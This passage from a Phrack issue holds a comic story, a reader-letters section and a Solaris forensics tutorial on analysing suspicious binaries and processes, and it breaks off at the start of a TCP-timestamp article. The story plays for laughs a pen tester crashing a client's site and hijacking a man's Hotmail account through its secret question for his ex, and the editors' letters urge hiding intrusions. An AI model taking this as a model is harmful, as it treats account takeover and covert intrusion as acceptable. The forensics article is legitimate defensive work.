By Pascal Cretain (Pascal_Cretain@mail.com)

I' say with certainty that the MD5 checksum of each and every one of the
last, say 200 days has not been tampered with and is the same in all cases.
It's yet another dull day in the office and I'm bored out of my f***ing skull.
This new client not only wants an 'external blind pen test' they also want
'comprehensive static code analysis'. Why they are paying money to 'secure'
this monstrosity is beyond me. It doesn't even have an authentication
section. Bollocks.

A DNS zone transfer request greets me cheerfully with all their internal
network structure...not that I will need that since they have only asked
for webserver testing but it's good to know anyway. I launch that damn
nessus scan for the millionth time and I senselessly wait for the attack

progress bar to complete'no joy. I fire up Nikto, Webscan, N-Stealth AND ISS at the same time enabling all dangerous plugins in an attempt to DoS this ugly webserver, certainly not running Free/GNU open source software but something proprietary and expensive starting from I and ending in IS. In addition to that I launch independent SYN FLOOD attacks and distributed teardroping to improve my chances of achieving the goal. Soon, the website falls clumsily like a non-armoured villager in the battle of Waterloo.

I smile with content as the overbloated, dysmorphic, dynamic html pages are soon replaced with a plain, powerful, beautiful and snowy white 404 error. A minute of silence and peace is instantly shattered by the phone ringing. It's the operations manager.

- Pascal, they people from Dorksershire_Upon_Avon just called me complaining that the website is down. Does that have something to do with the pen testing we perform?

- Well , partially yes, I respond. And then, more aggressively I explain "If the client wants a penetration test to be complete they have to get their website tested against Denial Of Service Attacks, the most innocuous and common type of attack nowadays. They will thank us for that, eventually. Moreover, we had warned them about the danger of DoS when they signed the contract. Despite the fact that we take every precaution to avoid such a side-effect, DoS is a risk that comes bundled with proper testing. I clearly remember that sales guy. He'd thought that with the term DoS I meant that black, command-line pre-windows OS, the one that emptied the screen when you typed CLS. Oh well.

- Thank you Pascal, I will inform them.

It's already 4+30...I'd like to escape earlier today, especially now, after the DoS unfortunate 'incident' that has put a temporary pause to our duties I can't do much.

The operations manager is now gone, or he might even be in the loo, who cares, now is my ultimate chance to scram. Within seconds, literally, I'm sitting right in the middle of the 'Thirsty Fox' pub. Oooh I love this place.

- Pint of John Smith's please
- Sure mate
- Cheers
- Cheers

A fractal amount of ale gets spilled over the counter

- Sorry
- Sorry
- That's all right mate
- Cheers
- Cheers

I grab the glass and drink half of the beer in one go. Then I look around for female presence vulnerable to man in the middle attack. Equipped with my brand new 'penetration testing anyone?' t-shirt, I can't lose. There she is! Black hair, my type. I down the rest of my drink, order another pint.

- Pint of John Smith's please
- Sure mate
- Cheers
- Cheers

I Grab the glass and make my move.

- Hey
- Hiya.
- You come here often? I say with an epic voice
- Yeah , quite often she responds uninterested
- You know, I'm a penetration tester. My voice is deep and certainly erotic.
- *Silence*
- I'm a hacker, I say, and I get paid to do it.

- Ha. That's interesting. Do you hack hotmail?
- Of course, I respond confidently. I'm a Hotmail Hacking Certified Reverse Engineer and president of the British Open Source institute for ...mm...E-mail Compromise (HHCRE&PBOSIEC)
- Wow, she says impressed. Could you offer me your valuable help then please? There is a particular email account that I have forgotten the password for and has critical information for me. The account is Brutus_Needham@hotmail.com...Would you help me hack it?
- Sure, no worries. Why don't we finish these drinks and be gone, I live nearby. In my place I got 1Gb Download/512MB X-DSL access, 3 workstations and 2 mainframes running different command-line OSs. In the worst case scenario, we can always run a distributed john the ripper dictionary attack using my VERY LONG AND THICK dictionaries, I say in an attempt to impress. The girl is moving her head, looking somehow puzzled. We'll sort out your situation in a jiffy, I add to simplify things. Say, how can this be your email account, tho'? isn't that a man's name? I say while blinking at the same time.
- Well. _blush_ ok you got me! It's my darn ex boyfriend and I have to find out what he has been doing! If you don' mind.
- No worries, we can take care of that. I'm glad I can be of assistance. Your female friend can join us as well if she feels like a 'small penetrating class' free of charge!, I say, while making some fast, and certainly erotic & meaningful gestures.
- Yeah, why not! sounds like fun! , both girls reply.
- Bingo. Let's get to some real penetration testing, I think to myself while smiling.

I don't own a car since I believe that it's a good idea not to acquire products that will make your life more stressful and costly. Why pay car insurance, petrol and refrain one's self from the wonderful act of drinking John Smith's when you can use public transport completely wasted, or walk, or cycle (wasted). Generally, I consider that people should only buy goods that they absolutely need. An oscilloscope, for instance, is an example of an absolutely necessary device, that's why I own two of them. Other than that, not owning things provides the luxury of being flexible, free, and ensures you tread lightly on this earth. Anywayz.

So we walk home, myself in the middle , girls on both sides.

- So, what's your name, hacker? One of the girls asks.
- Pascal, I reply. Pascal Cretain.
- Ha, this is not a very usual name. Where do you come from , Pascal?
- I come from the land of Compromise. I respond, looking at the void.
- You are an interesting one, Pascal. I honestly hope you're not bullshiting around with us.
- As a true hacker, I will speak with actions and not with useless words, I say. Just wait till we crack that Brutus who needs ham, girl.

Soon, all three of us are sitting comfortably in my messy 'IT room'. One of the girls asks:

- Hey, where is your equipment mate? Didn't you say you had five computers with X-LSD internet? All I can see is a shitty laptop! What's going on? And where is the LSD?

- Don't worry honey, I reply with a calm voice. My computer equipment is all here. But not quite. This laptop basically is the access point to my REAL IT infrastructure, which resides somewhere near - very near. Unfortunately, due to non-disclosure confidentiality agreements, I cannot inform you of the real location of my computers, nor show you around, tho' I'd love to - sigh. The girls are gazing at me, unconvinced

- Oh well , whatever. D'you have anything we can drink then?

- Sure, I got John Smith's premium Ale. They grab a can each and start chatting about online shopping.

I grab a can and quickly get to work . I browse to passport.net, then reset password, choose country, type in the username....wait for the Brutus' 'Secret' question. Fuck yeah!

```
- Hey, girl, you didn't tell me your name. I ask the 'interested party'.
  'Jude' she responds..I type in the answer to Brutus's secret question,
  then reset the password to 'Oscilloscoped'
- Mine is Gloria , the other girl says.
- Hey Jude, I says. Wanna come over here? I got somethin' for you. Fact I
  got two. I blink.

Both girls approach. I sit back and smile.
It's not such a bad day after all.

|=[ EOF ]=---------------------------------------------------------------=|
```

==Phrack Inc.==

Volume 0x0b, Issue 0x3f, Phile #0x02 of 0x14

|=----------------------=[L O O P B A C K]=---------------------------=|
|=---=|
|=-----------------------=[Phrack Staff]=-----------------------------=|

Wow people. We received so much feedback since we announced
that this is our final issue. I'm thrilled. We are hated by so many
(hi Mr. Government) and loved but so few. And yet it's because of the few
what kept us alive.

"Phrack helped me survive the crazyness and boredom inherent in The Man's
system. Big thanks to all authors, editors and hangarounds of Phrack,
past and present." --- Kurisuteru

[...]

"Guys, if it wasn't for you, the internet wouldn't be the same, our
whole lifes wouldn't be the same. I wish you all the best luck there
is in your future. God bless you all and good bye!!!!! --- wolfinux

[I hope there is a god. There must be. Because I ran this magazine. I
fought against unjustice, opression and against all those who wanted
to shut us down. I fought against stupidity and ignorance. I shook
hands with the devil. I have seen him, I have smelled him and I have
touched him. I know the devil exists and therefore I know there is a
God.]

"you're the first zine that i ever readed and you have a special place in
my heart... you build my mind!! Thanks you all !!!!" --- thenucker/xy

[This brotherhood will continue...]

|=[0x01]=--=|

I'm hoping the site isn't being abandoned because of pressure from Homeland
Security.

[I do not have a homeland. I do not believe in governments that scare
the people. I do not bow for anyone. I do what I do best: I spread
the spirit.]

|=[0x02]=--=|

Could you please remove my personal info from this issue?
http://www.phrack.org/phrack/52/P52-02

Thanks in advance.
Itai Dor-On [<--- him. signing with real name.]

[We are not doing phrack anymore. Sorry mate. Ask the new staff.]

|=[0x03]=--=|

Are you interested in one "Cracking for Newbies" article?
Or maybe about how to make a Biege Box?

[y0, psst. are you the guy that travels through time and tries to
sell wisdom from the past? wicked!!!!!!!!! You are the man!]

|=[0x04]=--=|

From: Joshua ruffolo <ruffolojoshua@yahoo.com>

A friend referred me to your site.

```
    [ smart guy! ]

I know nothing much about what is posted.

    [ stupid guy! ]

I don't understand what's what.

    [ this is loopback. ]

Apparently there is some basic info that should be known to understand, but
what is it?

    [ reading happens from the left to the right:
      from HERE  -->  --> --> --> TO --> --> --> --> --> --> HERE ]

|=[ 0x05 ]=---------------------------------------------------------------=|

During the spring quarter 2004 I took the Advanced Network Security class
at Northwestern University.

   [ Must been challenging. Did they give you a Offical Master Operator
     Intense Security Expert X4-Certificate and tell you that you did
     really well?  Bahahahahahahah. ]

And I worked on a security project that has gained the interest of the
CBS 2 Chicago investigative unit.

   [ Oh shit! the CBS is after you. Oh Shit. OH SHIT! I heard they
     got certified 2 years before you! THEY ARE BETTER. I'M TELLING YOU!
     RUUUUUUUN! ]

By pure accident I compromised a large City of Chicago institution over the
2003-2004 Christmas break.

   [ These accidents happen all the time. Ask my lawyer. ]

During my research for this project I have compromised other large
Chicagoland institutions.

   [ Rule 1: If you hack dont tell it to anyone. It's risky. Especially
     in the country where you are living. ]

For now, I would just like to know if anyone out there has penetrated the
following networks and obtained any confidential data or left back doors to
the following networks. Chicago Public Schools, City of Chicago, Chicago
Police or Cook County.

    [ Rule 2: Dont ever tell anyone what you hacked. ]

Christopher B. Jurczyk
c-jurczyk@northwestern.edu

    [ Rule 3: DONT FUCKING POST YOUR EMAIL TO LOOPBACK!!!! ]

|=[ 0x06 ]=---------------------------------------------------------------=|

BTW I noticed phrack.org has no reverse DNS. Deliberate?

   [ anti hacker techniques. ]

|=[ 0x07 ]=---------------------------------------------------------------=|

From: tammy morgan <pipy2u@yahoo.com>

Ok i know you hate dumb questons.

    [ I love them. They make my day. ]

Being new to this world cant read mag issues. Am subscriber got list
```

from bot must have key.

    [Am editor. Dont get you saying what. Hi.]

But which one do i use to unlock and read. Soooo "LAME" sorry sorry i am,
but could you take pity and just tell me how to open and read issues?

    [...]

|=[0x08]=---=|

From: Joshua Morales <moreasm@yahoo.com>

This is really stupid question. can i subscribe to
your publication.

    [This is a really smart question: Who gave you our email address?]

|=[EOF]=--=|

==Phrack Inc.==

Volume 0x0b, Issue 0x3f, Phile #0x03 of 0x14

```
|=---------------------=[ L I N E N O I S E ]=---------------------------=|
|=-----------------------------------------------------------------------=|
|=------------------------=[ phrack staff ]=-----------------------------=|
```

...all that does not fit anywhere else but which is worth beeing mentioned
in our holy magazine.... enjoy linenoise.


```
|=-------------------------=[ 0x03-1 ]=---------------------------------=|
|=---------Analyzing Suspicious Binary Files and Processes---------------=|
|=-----------------------------------------------------------------------=|
|=-----------------------By Boris Loza, PhD------------------------------=|
|=-------------------bloza@tegosystemonline.com--------------------------=|
|=-----------------------------------------------------------------------=|
```

1. Introduction
2. Analyzing a 'strange' binary file
3. Analyzing a 'strange' process
4. Security Forensics using DTrace
5. Conclusion

--[Introduction

The art of security forensics requires lots of patience, creativity and observation. You may not always be successful in your endeavours but constantly 'sharpening' your skills by hands-on practicing, learning a couple more things here and there in advance will definitely help.

In this article I'd like to share my personal experience in analyzing suspicious binary files and processes that you may find on the system. We will use only standard, out of the box, UNIX utilities. The output for all the examples in the article is provided for Solaris OS.

--[Analyzing a 'strange' binary file

During your investigation you may encounter some executable (binary) files whose purpose in your system you don't understand. When you try to read this file it displays 'garbage'. You cannot recognize this file by name and you are not sure if you saw it before.

Unfortunately, you cannot read the binary file with more, cat, pg, vi or other utilities that you normally use for text files. You will need other tools. In order to read such files, I use the following tools: strings, file, ldd, adb, and others.

Let's assume, for example, that we found a file called cr1 in the /etc directory. The first command to run on this file is strings(1). This will show all printable strings in the object or binary file:

```
$ strings cr1 | more

%s %s %s%s%s -> %s%s%s (%.*s)
Version: 2.3
Usage: dsniff [-cdmn] [-i interface] [-s snaplen] [-f services]
              [-t trigger[,...]] [-r|-w savefile] [expression]
...
/usr/local/lib/dsniff.magic
/usr/local/lib/dsniff.services
...
```

The output is very long, so some of it has been omitted. But you can see that it shows that this is actually a dsniff tool masquerading as cr1.

Sometimes you may not be so lucky in finding the name of the program, version, and usage inside the file. If you still don't know what this file can do, try to run strings with the 'a' flag, or just '-'. With these options, strings will look everywhere in the file for strings. If this flag is omitted, strings only looks in the initialized data space of the object file:

```
$ strings cr1 | more
```

Try to compare this against the output from known binaries to get an idea of what the program might be.

Alternatively, you can use the nm(1) command to print a name list of an object file:

```
$ /usr/ccs/bin/nm -p cr1 | more

cr1:

[Index]   Value     Size  Type    Bind  Other   Shndx       Name
[180]     |0      |     0| FILE |  LOCL | 0     |ABS |       decode_smtp.c
[2198]    |160348|   320| FUNC |  GLOB | 0     | 9  |       decode_sniffer
```

Note that the output of this command may contain thousands of lines, depending on the size of the object file. You can run nm through pipe to more or pg, or redirect the output to the file for further analysis.

To check the runtime linker symbol table - calls of shared library routines, use nm with the '-Du' options, where -D displays the symbol table used by ld.so.1 and is present even in stripped dynamic executables, and -u prints a long listing for each undefined symbol.

You can also dump selected parts of any binary file with the dump(1) or elfdump(1) utilities. The following command will dump the strings table of cr1 binary:

```
$ /usr/ccs/bin/dump -c ./cr1 | more
```

You may use the following options to dump various parts of the file:

```
-c       Dump the string table(s).
-C       Dump decoded C++ symbol table names.
-D       Dump debugging information.
-f       Dump each file header.
-h       Dump the section headers.
-l       Dump line number information.
-L       Dump dynamic linking information and static shared library
         information, if available.
-o       Dump each program execution header.
-r       Dump relocation information.
-s       Dump section contents in hexadecimal.
-t       Dump symbol table entries.
```

Note: To display internal version information contained within an ELF file, use the pvs(1) utility.

If you are still not sure what the file is, run the command file(1):

```
$ file cr1
cr1:         ELF 32-bit MSB executable SPARC32PLUS Version 1, V8+
Required, UltraSPARC1 Extensions Required, dynamically linked, not
stripped
```

Based on this output, we can tell that this is an executable file for SPARC that requires the availability of libraries loaded by the OS (dynamically linked). This file also is not stripped, which means that the symbol tables were not removed from the compiled binary. This will help us a lot when we do further analysis.

Note: To strip the symbols, do strip <my_file>.

The file command could also tell us that the binary file is statically linked, with debug output or stripped.

Statically linked means that all functions are included in the binary, but results in a larger executable. Debug output - includes debugging symbols, like variable names, functions, internal symbols, source line numbers, and source file information. If the file is stripped, its size is much smaller.

The file command identifies the type of a file using, among other tests, a test for whether the file begins with a certain magic number (see the /etc/magic file). A magic number is a numeric or string constant that indicates the file type. See magic(4) for an explanation of the format of /etc/magic.

If you still don't know what this file is used for, try to guess this by taking a look at which shared libraries are needed by the binary using ldd(1) command:

```
$ ldd cr1
...
libsocket.so.1 =>       /usr/lib/libsocket.so.1
librpcsvc.so.1 =>       /usr/lib/librpcsvc.so.1
...
```

This output tells us that this application requires network share libraries (libsocket.so.1 and librpcsvc.so.1).

The adb(1) debugger can also be very useful. For example, the following output shows step-by-step execution of the binary in question:

```
# adb cr1
:s
adb: target stopped at:
ld.so.1`_rt_boot:       ba,a      +0xc
<ld.so.1`_rt_boot+0xc>
,5:s
adb: target stopped at:
ld.so.1`_rt_boot+0x58:  st        %l1, [%o0 + 8]
```

You can also analyze the file, or run it and see how it actually works. But be careful when you run an application because you don't know yet what to expect. For example:

```
# adb cr1
:r
Using device /dev/hme0 (promiscuous mode)
192.168.2.119 -> web      TCP D=22 S=1111 Ack=2013255208
Seq=1407308568 Len=0 Win=17520
     web -> 192.168.2.119 TCP D=1111 S=22 Push Ack=1407308568
```

We can see that this program is a sniffer. See adb(1) for more information of how to use the debugger.

If you decide to run a program anyway, you can use truss(1). The truss command allows you to run a program while outputting system calls and signals.

Note: truss produces lots of output. Redirect the output to the file:

```
$ truss -f -o cr.out ./cr1
listening on hme0
^C
$
```

Now you can easily examine the output file cr.out.

As you can see, many tools and techniques can be used to analyze a strange file. Not all files are easy to analyze. If a file is a statically linked stripped binary, it would be much more difficult to find what a file (program) is up to. If you cannot tell anything about a file using simple tools like strings and ldd, try to debug it and use truss. Experience using and analyzing the output of these tools, together with a good deal of patience, will reward you with success.

--[Analyzing a 'strange' process

What do you do if you find a process that is running on your system, but you don't know what it is doing? Yes, in UNIX everything is a file, even a process! There may be situations in which the application runs on the system but a file is deleted. In this situation the process will still run because a link to the process exists in the /proc/[PID]/object/a.out directory, but you may not find the process by its name running the find(1) command.

For example, let's assume that we are going to investigate the process ID 22889 from the suspicious srg application that we found running on our system:

```
# ps -ef | more
UID   PID  PPID  C    STIME TTY      TIME CMD
...
root 22889 16318  0 10:09:25 pts/1    0:00 ./srg
...
```

Sometimes it is as easy as running the strings(1) command against the /proc/[PID]/object/a.out to identify the process.

```
# strings /proc/22889/object/a.out | more
...
TTY-Watcher version %s
Usage: %s [-c]
-c   turns on curses interface
NOTE: Running without root privileges will only allow you to monitor
yourself.
...
```

We can see that this command is a TTY-Watcher application that can see all keystrokes from any terminal on the system.

Suppose we were not able to use strings to identify what this process is doing. We can examine the process using other tools.

You may want to suspend the process until you will figure out what it is. For example, run kill -STOP 22889 as root. Check the results. We will look for 'T' which indicates the process that was stopped:

```
# /usr/ucb/ps | grep T
root     22889  0.0  0.7 3784 1720 pts/1    T 10:09:25  0:00 ./srg
```

Resume the process if necessary with kill -CONT <PID>
To further analyze the process, we will create a \core dump\ of variables and stack of the process:

```
# gcore 22889
gcore: core.22889 dumped
```

Here, 22889 is the process ID (PID). Examine results of the core.22889 with strings:

```
# strings core.22889 | more
...
TTY-Watcher version %s
Usage: %s [-c]
-c   turns on curses interface
NOTE: Running without root privileges will only allow you to monitor
yourself.
...
```

You may also use coreadm(1M) to analyze the core.22889 file. The coreadm tool provides an interface for managing the parameters that affect core file creation. The coreadm command modifies the /etc/coreadm.conf file. This file is read at boot time and sets the global parameters for core dump creation.

First, let’s set our core filenames to be of the form core.<PROC NAME>.<PID>. We’ll do this only for all programs we execute in this shell (the $$ notation equates to the PID of our current shell):

```
$ coreadm -p core.%f.%p $$
```

The %f indicates that the program name will be included, and the %p indicates that the PID will be appended to the core filename.

You may also use adb to analyze the process. If you don’t have the object file, use the /proc/[PID]/object/a.out. You can use a core file for the process dumped by gcore or specify a ’-’ as a core file. If a dash (-) is specified for the core file, adb will use the system memory to execute the object file. You can actually run the object file under the adb control (it could also be dangerous because you don’t know for sure what this application is supposed to do!):

```
# adb /proc/22889/object/a.out -
main:b
:r
breakpoint at:
main:           save    %sp, -0xf8, %sp
...
:s
stopped at:
main+4:         clr     %l0
:s
stopped at:
main+8:         sethi   %hi(0x38400), %o0
$m
? map
...
b11 = ef632f28 e11 = ef6370ac f11 =   2f28 ‘/usr/lib/libsocket.so.1’
$q
```

We start the session by setting a breakpoint at the beginning of main() and then begin execution of a.out by giving adb the ’:r’ command to run. Immediately, we stop at main(), where our breakpoint was set. Next, we list the first instruction from the object file. The ’:s’ command tells adb to step, executing only one assembly instruction at a time.

Note: Consult the book Panic!, by Drake and Brown, for more information on how to use adb to analyze core dumps.

To analyze the running process, use truss:

```
# truss -vall -f -o /tmp/outfile -p 22889
# more /tmp/outfile
```

On other UNIX systems, where available, you may trace a process by using the ltrace or strace commands. To start the trace, type ltrace -p <PID>.

To view the running process environment, you may use the following:

```
# /usr/ucb/ps auxeww 22889
USER       PID %CPU %MEM   SZ  RSS TT       S    START  TIME COMMAND
root      22889  0.0  0.4 1120  896      pts/1    S 14:15:27  0:00 -
sh _=/usr/bin/csh
MANPATH=/usr/share/man:/usr/local/man HZ=
PATH=/usr/sbin:/usr/bin:/usr/local/bin:/usr/ccs/bin:/usr/local/sbin:
/opt/NSCPcom/ LOGNAME=root SHELL=/bin/ksh HOME=/
LD_LIBRARY_PATH=/usr/openwin/lib:/usr/local/lib TERM=xterm  TZ=
```

The /usr/ucb directory contains SunOS/BSD compatibility package commands. The /usr/ucb/ps command displays information about processes. We used the following options (from the man for ps(1B)):

```
-a        Include information about processes owned by others.
-u        Display user-oriented output. This includes fields USER, %CPU,o
          %MEM, SZ, RSS and START as described below.
-x        Include processes with no controlling terminal.
-e        Display the environment as well as the arguments to the command.
-w        Use a wide output format (132 columns rather than 80); if repeated,
          that is, -ww, use arbitrarily wide output. This information is
          used to decide how much of long commands to print.

To view the memory address type:

# ps -ealf | grep 22889
 F S      UID   PID  PPID  C PRI NI     ADDR     SZ    WCHAN
STIME    TTY      TIME CMD
8 S     root  3401  22889  0  41 20 615a3b40  474 60ba32e6 14:16:49
pts/1    0:00 ./srg

To view the memory usage, type:

# ps -e -opid,vsz,rss,args
  PID  VSZ  RSS COMMAND
...
 22889 3792 1728 ./srg

We can see that the ./srg uses 3,792 K of virtual memory, 1,728 of which
have been allocated from physical memory.

You can use the /etc/crash(1M) utility to examine the contents of a proc
structure of the running process:

# /etc/crash
dumpfile = /dev/mem, namelist = /dev/ksyms, outfile = stdout
> p
PROC TABLE SIZE = 3946
SLOT ST  PID  PPID  PGID   SID   UID PRI   NAME        FLAGS
...
  66 s 22889 16318 16337 24130     0  58 srg            load
> p -f 66
PROC TABLE SIZE = 3946
SLOT ST  PID  PPID  PGID   SID   UID PRI   NAME        FLAGS
  66 s 22889 16318 16337 24130     0  58 srg            load

        Session: sid: 24130, ctty: vnode(60b8f3ac) maj(  24) min(  1)
        ...
>

After invoking the crash utility, we used the p function to get the process
table slot (66, in this case). Then, to dump the proc structure for process
PID 22889, we again used the p utility, with the '-f' flag and the process
table slot number.

Like the process structure, the uarea contains supporting data for signals,
including an array that defines the disposition for each possible signal.
The signal disposition tells the operating system what to do in the event
of a signal - ignore it, catch it and invoke a user-defined signal handler,
or take the default action. To dump a process's uarea:

> u 66
PER PROCESS USER AREA FOR PROCESS 66
PROCESS MISC:
        command: srg, psargs: ./srg
        start: Mon Jun  3 08:56:40 2002
        mem: 6ad, type: exec su-user
        vnode of current directory: 612daf48
...
>

The 'u' function takes a process table slot number as an argument.
To dump the address space of a process, type:
```

```
# /usr/proc/bin/pmap -x 22889
```

To obtain a list of process's open files, use the /usr/proc/bin/pfiles command:

```
# /usr/proc/bin/pfiles 22889
```

The command lists the process name and PID for the process' open files. Note that various bits of information are provided on each open file, including the file type, file flags, mode bits, and size.

If you cannot find a binary file and the process is on the memory only, you can still use methods described for analyzing suspicious binary files above against the process's object file. For example:

```
# /usr/ccs/bin/nm a.out | more
a.out:

[Index]   Value      Size    Type  Bind  Other Shndx   Name
...
[636]    |     232688|       4|OBJT |GLOB |0     |17     |Master_utmp
[284]    |     234864|      20|OBJT |GLOB |0     |17     |Mouse_status
```

You may also use mdb(1) - a modular debugger to analyze the process:

```
# mdb -p 22889
Loading modules: [ ld.so.1 libc.so.1 libnvpair.so.1 libuutil.so.1 ]
> ::objects
    BASE    LIMIT     SIZE NAME
   10000    62000    52000 ./srg
ff3b0000 ff3dc000    2c000 /lib/ld.so.1
ff370000 ff37c000     c000 /lib/libsocket.so.1
ff280000 ff312000    92000 /lib/libnsl.so.1
```

--[Security Forensics using DTrace

Solaris 10 has introduced a new tool for Dynamic Tracing in the OS environment - dtrace. This is a very powerful tool that allows system administrators to observe and debug the OS behaviour or even to dynamically modify the kernel. Dtrace has its own C/C++ like programming language called 'D language' and comes with many different options that I am not going to discuss here. Consult dtrace(1M) man pages and http://docs.sun.com/app/docs/doc/817-6223 for more information.

Although this tool has been designed primarily for developers and administrators, I will explain how one can use dtrace for analyzing suspicious files and process.

We will work on a case study, as followes. For example, let's assume that we are going to investigate the process ID 968 from the suspicious srg application that we found running on our system.

By typing the following at the command-line, you will list all files that this particular process opens at the time of our monitoring. Let it run for a while and terminate with Control-C:

```
# dtrace -n syscall::open:entry'/pid == 968/
{ printf("%s%s",execname,copyinstr(arg0)); }'

dtrace: description 'syscall::open*:entry' matched 2 probes
^C
CPU     ID                    FUNCTION:NAME
  0     14                    open:entry srg /var/ld/ld.config
  0     14                    open:entry srg /lib/libdhcputil.so.1
  0     14                    open:entry srg /lib/libsocket.so.1
  0     14                    open:entry srg /lib/libnsl.so.1
```

D language comes with its own terminology, which I will try to address here briefly.

The whole 'syscall::open:entry' construction is called a 'probe' and defines a location or activity to which dtrace binds a request to perform a set of 'actions'. The 'syscall' element of the probe is called a 'provider' and, in our case, permits to enable probes on 'entry' (start) to any 'open' Solaris system call ('open' system call instracts the kernel to open a file for reading or writing).

The so-called 'predicate' - /pid == 968/ uses the predefined dtrace variable 'pid', which always evaluates to the process ID associated with the thread that fired the corresponding probe.

The 'execname' and 'copyinstr(arg0)' are called 'actions' and define the name of the current process executable file and convert the first integer argument of the system call (arg0) into a string format respectively. The printf's action uses the same syntax as in C language and serves for the same purpose - to format the output.

Each D program consists of a series of 'clauses', each clause describing one or more probes to enable, and an optional set of actions to perform when the probe fires. The actions are listed as a series of statements enclosed in curly braces { } following the probe name. Each statement ends with a semicolon (;).

You may want to read the Introduction from Solaris Tracing Guide (http://docs.sun.com/app/docs/doc/817-6223) for more options and to understand the syntax.

Note: As the name suggests, the dtrace (Dynamic Trace) utility will show you the information about a chnaging process - in dynamic. That is, if the process is idle (doesn't do any system calls or opens new files), you won't be able to get any information. To analyze the process, either restart it or use methods described in the previous two sections of this paper.

Second, we will use the following command-line construction to list all system calls for 'srg'. Let it run for a while and terminate by Control-C:

```
# dtrace -n 'syscall:::entry /execname == "srg"/ { @num[probefunc] =
count(); }'
dtrace: description 'syscall:::entry ' matched 226 probes
^C
  pollsys                                                    1
  getrlimit                                                  1
  connect                                                    1
  setsockopt                                                 1
...
```

You may recognize some of the building elements of this small D program. In addition, this clause defines an array named 'num' and assigns the appropriate member 'probefunc' (executed system call's function) the namber of times these particular functions have been called (count()).

Using dtrace we can easily emulate all utilities we have used in the previous sections to analyze suspicious binary files and processes. But dtrace is much more powerful tool and may provide one with more functionality: for example, you can dynamically monitor the stack of the process in question:

```
# dtrace -n 'syscall:::entry/execname == "srg"/{ustack()}'
  0    286                lwp_sigmask:entry
              libc.so.1`__systemcall6+0x20
              libc.so.1`pthread_sigmask+0x1b4
              libc.so.1`sigprocmask+0x20
              srg`srg_alarm+0x134
              srg`scan+0x400
              srg`net_read+0xc4
              srg`main+0xabc
              srg`_start+0x108
```

Based on all our investigation (see the list of opened files, syscalls, and the stack examination above), we may positively conclude that srg is a network based application. Does it write to the network? Let's check it by constructing the following clause:

```
# dtrace -n 'mib:ip::/execname == "srg"/{@[execname]=count()}'
dtrace: description 'mib:ip::' matched 412 probes
dtrace: aggregation size lowered to 2m
^C
  srg                                        520
```

It does. We used 'mib' provider to find out if our application transmits to the network.

Could it be just a sniffer or a netcat-liked application that is bounded to a specific port? Let's run dtrace in the truss(1) like fashion to answer this question (inspired by Brendan Gregg's dtruss utility):

```
#!/usr/bin/sh
#
dtrace='

 inline string cmd_name = "'$1'";
 /*
 **  Save syscall entry info
 */
 syscall:::entry
 /execname == cmd_name/
 {
      /* set start details */
      self->start = timestamp;
      self->arg0 = arg0;
      self->arg1 = arg1;
      self->arg2 = arg2;
 }

/* Print data */
 syscall::write:return,
 syscall::pwrite:return,
 syscall::*read*:return
 /self->start/
 {
    printf("%s(0x%X, \"%S\", 0x%X)\t\t = %d\n",probefunc,self->arg0,
    stringof(copyin(self->arg1,self->arg2)),self->arg2,(int)arg0);

      self->arg0 = arg0;
      self->arg1 = arg1;
      self->arg2 = arg2;

 }
'
# Run dtrace
        /usr/sbin/dtrace -x evaltime=exec -n "$dtrace" >&2
```

Save it as truss.d, change the permissions to executable and run:

```
# ./truss.d srg
0     13                     write:return write(0x1, "       sol10 -
> 192.168.2.119 TCP D=3138 S=22 Ack=713701289 Seq=3755926338 Len=0
Win=49640\n8741 Len=52 Win=16792\n\0", 0x5B)                 = 91
0     13                     0     13
write:return write(0x1, "192.168.2.111 -> 192.168.2.1  UDP D=1900
S=21405 LEN=140\n\0", 0x39)          = 57
^C
```

Looks like a sniffer to me, with probably some remote logging (remember the network transmission by ./srg discovered by the 'mib' provider above!).

You can actually write pretty sophisticated programs for dtrace using D language.

Take a look at /usr/demo/dtrace for some examples.

You may also use dtrace for other forensic activities. Below is an example of more complex script that allows monitoring of who fires the suspicious application and starts recording of all the files opened by the process:

```
#!/usr/bin/sh

command=$1

/usr/sbin/dtrace -n '

inline string COMMAND  = "'$command'";

 #pragma D option quiet

 /*
 **  Print header
 */
 dtrace:::BEGIN
 {
     /* print headers */
     printf("%-20s %5s %5s %5s %s\n","START_TIME","UID","PID","PPID","ARGS");
 }

 /*
 **  Print exec event
 */
 syscall::exec:return, syscall::exece:return
 /(COMMAND == execname)/
 {
        /* print data */
        printf("%-20Y %5d %5d %5d %s\n",walltimestamp,uid,pid,ppid,
        stringof(curpsinfo->pr_psargs));
        s_pid = pid;
 }
/*
 **  Print open files
 */
 syscall::open*:entry
/pid == s_pid/
 {
        printf("%s\n",copyinstr(arg0));
 }
'
```

Save this script as wait.d, change the permissions to executable 'chmod +x wait.d' and run:

```
# ./wait.d srg
START_TIME             UID   PID  PPID ARGS
2005 May 16 19:51:20   100  1582  1458 ./srg

/var/ld/ld.config
/lib/libnsl.so.1
/lib/libsocket.so.1
/lib/libresolv.so.2
...
^C
```

Once the srg is started you will see the output.

However, the real power of dtrace comes from the fact that you can do things with it that won't be possible without writing a comprehensive C program. For example, the shellsnoop application written by Brendan Gregg (http://users.tpg.com.au/adsln4yb/DTrace/shellsnoop) allows you to use dtrace at the capacity of ttywatcher!

It is not possible to show all capabilities of dtrace in such a small presentation of this amazing utility. Dtrace is a very powerful as well a complex tool with virtually endless capabilities. Although Sun insists that you don't have to have a 'deep understanding of the kernel for DTrace to be useful', the knowledge of Solaris internals is a real asset. Taking a look at the include files in /usr/include/sys/ directory may help you to write complex D scripts and give you more of an understanding of how Solaris 10 is implemented.

--[Conclusion

Be creative and observant. Apply all your knowledge and experience for analyzing suspicious binary files and processes. Also, be patient and have a sense of humour!

```
|=-----------------------=[ 0x03-2 ]=----------------------------------=|
|=----------=[ TCP Timestamp To count Hosts behind NAT ]=----------------=|
|=-----------------------------------------------------------------------=|
|=-------------=[ Elie aka Lupin (lupin@zonart.net) ]=-------------------=|
```

Table of Contents
==*=*=*=*=*=*=*

--[1.0 - Introduction

This article is about TCP timestamp option. This option is used to offer a new way for counting host beyond a NAT and enhanced host fingerprinting. More deeply, this article tries to give a new vision of a class of bug known has "Design error". The bug described here, deserves interest for the following reasons.

 - It's new.
 - It affects every platform since it is related to the specification
   rather than implementation.
 - It's a good way to explain how some specifications can be broken.

The article is organized has follow : First I will explain what's wrong about TCP timestamp. Then I will describe How to exploit it, the limitations of this exploitation and a way to avoid it. In the second part I will talk about the origin of this error and why it will happen again. At the end I will give a proof of concept and greeting as usual.

--[2.0 - Time has something to tell us

----[2.1 - Past history

